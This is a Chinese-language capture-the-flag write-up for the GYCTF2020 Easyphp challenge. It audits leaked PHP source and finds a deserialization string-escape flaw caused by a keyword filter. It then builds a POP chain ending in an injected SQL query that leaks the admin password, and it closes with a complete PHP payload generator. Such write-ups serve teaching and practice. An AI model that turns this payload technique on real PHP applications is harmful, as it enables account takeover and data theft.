0%

[GYCTF2020]Easyphp

难难难,菜菜菜。

代码审计

扫描题目发现了www.zip这个文件。

1
2
3
4
5
6
7
//update.php
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

从中我们可以知道,创建了一个User类且掉用update方法,还有只要我们登入就可以得到flag。
来看看update函数:

1
2
3
4
5
6
7
8
//lib.php->User类
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

我们发现,有个反序列化。
继续看看getNewinfo:

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

它实例化一个Info类并且序列化,且参数可控。然后到safe去过滤一下:

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

发现可以利用,我们输入一些字符 被替换为6字的hacker我们可以想到逃逸了。
好咯,我们再来看看Info类:

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

其中有一个 __call() 我们应该可以用到,__call()中调用了login,dbCtrl类中有一个login函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}

可以输出我们的admin的密码。
我们怎么触发__call()呢? 发现User类中有一个__toString它调用了,update函数,但是Info类中没有这个函数所以会调用__call__toString()魔术方法在把类当作字符串使用时触发,返回值需要为字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

这里sql为User类的话就会调用User类的__toString函数。
pop链的思路
 利用UpdateHelper类destruct()触发User类toString(),利用Info类没有update()触发其__call(),把$this->CtrlCase实例化成dbCtrl对象,再调用dbCtrl类login(),通过控制查询语句,把admin账户的密码查出来。

生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $password;
public $mysqli;
public $token;
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;

$c = '";s:8:"CtrlCase";' . serialize($c) . "}";
$length = strlen($c);
$c = str_repeat('union', $length).$c; //一个union被替换成hacker后可以逃逸出一个字符,要是嫌弃union太多可以用’(替换后逃逸五个字符)加上union
echo($c);
?>

-------------本文结束感谢您的阅读-------------